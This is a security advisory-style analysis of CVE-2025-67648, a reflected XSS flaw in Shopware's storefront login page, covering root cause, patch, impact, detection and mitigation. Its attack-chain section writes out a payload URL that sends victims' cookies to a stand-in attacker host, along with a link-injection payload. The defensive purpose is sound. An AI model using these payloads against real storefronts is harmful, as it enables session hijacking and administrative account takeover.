CVE-2025-67648: 
PHP vulnerability analysis and mitigation

CVE-2025-67648 is a Reflected Cross-Site Scripting (XSS) vulnerability in the Storefront login page of Shopware, an open-source e-commerce platform. The flaw exists in AuthController.php, where URL request parameters (waitTime and errorSnippet) are passed directly into Twig templates without proper input validation or sanitization. Affected versions span 6.4.6.0 through 6.6.10.9 and 6.7.0.0 through 6.7.5.0. The vulnerability was published on December 10, 2025, and patched in versions 6.6.10.10 and 6.7.5.1. It carries a CVSS v3.1 base score of 6.1 (Medium) per NVD, though GitHub's advisory scores it 6.5 (Moderate) (GitHub Advisory, Feedly).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). In AuthController.php, the loginPage() method retrieves the waitTime and errorSnippet parameters directly from the HTTP request object ($request->get(...)) and passes them to the Twig template without sanitization. The fix changes these to use $request->attributes->get(...), which does not expose raw user-supplied query string values, and additionally applies |number_format to waitTime in the template to enforce numeric formatting (GitHub Commit). An attacker crafts a malicious URL such as /account/login?loginError=1&waitTime=Here<%2Fa> or injects arbitrary HTML via errorSnippet, which is then rendered in the victim's browser when they visit the link (GitHub Advisory). No authentication or special privileges are required; the attack requires only that a victim clicks a crafted link.

Successful exploitation allows an attacker to execute arbitrary JavaScript in the victim's browser within the context of the Shopware storefront session. Because the session cookie is not configured with the HttpOnly attribute and administrator JWTs are stored in sessionStorage, a successful XSS attack can enable theft of session cookies and administrative tokens, potentially leading to full account takeover or administrative compromise. Attackers can also use crafted links in phishing campaigns to redirect users to malicious sites or perform unauthorized actions on their behalf (GitHub Advisory).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-67648. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term (Feedly). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. However, the attack is trivially easy to execute — it requires only crafting a URL and social-engineering a victim into clicking it, with no authentication required.

1. Reconnaissance: Identify Shopware storefronts running versions 6.4.6.0–6.6.10.9 or 6.7.0.0–6.7.5.0 by inspecting HTTP response headers, page source, or using tools like Shodan/Censys to find exposed Shopware instances.
2. Craft malicious URL: Construct a URL targeting the Shopware login page with a malicious payload in the waitTime or errorSnippet parameter. Example: /account/login?loginError=1&waitTime=Here<%2Fa><script>document.location='https://attacker.com/steal?c='+document.cookie</script> or /account/login?loginError=1&errorSnippet=Reset%20your%20password%20%3Ca%20href%3D%22https%3A%2F%2Fattacker.com%22%3Ehere%3C%2Fa%3E.
3. Deliver via phishing: Send the crafted URL to target users (e.g., shop customers or administrators) via email, social media, or other channels, disguised as a legitimate login prompt.
4. Harvest credentials or tokens: When the victim visits the URL, the injected script executes in their browser, stealing session cookies, sessionStorage-stored admin JWTs, or redirecting the user to an attacker-controlled phishing page.
5. Leverage stolen tokens: Use the harvested session cookies or JWT tokens to impersonate the victim, potentially gaining administrative access to the Shopware backend (GitHub Advisory).

• Network: Unusual outbound HTTP requests from victim browsers to unknown external domains shortly after visiting the Shopware login page; referrer headers pointing to the Shopware login URL with encoded query parameters.
• Logs: Web server access logs showing GET requests to /account/login with URL-encoded HTML or JavaScript in the waitTime or errorSnippet query parameters (e.g., %3Cscript%3E, %3Ca%20href, <%2Fa>).
• Browser/Session: Unexpected session invalidation or new admin sessions originating from unfamiliar IP addresses; admin JWT tokens appearing in external requests captured via network monitoring.

Shopware has released patched versions 6.6.10.10 and 6.7.5.1 that address this vulnerability by changing parameter retrieval to use $request->attributes->get(...) instead of $request->get(...), and enforcing numeric formatting on waitTime in the Twig template. Upgrading to one of these versions is the recommended remediation. No official configuration-based workaround has been published; operators unable to upgrade immediately should consider implementing a Web Application Firewall (WAF) rule to block requests containing HTML/script tags in the waitTime and errorSnippet query parameters on the /account/login endpoint (GitHub Advisory, GitHub Commit).

The vulnerability was reported by security researchers tbrankaer and NielDuysters and published via GitHub's security advisory system on December 9, 2025. No significant broader media coverage or notable public researcher commentary beyond the official advisory has been identified. The CVE received routine tracking by vulnerability aggregators including VulnDB, CIRCL, and INCIBE-CERT (GitHub Advisory).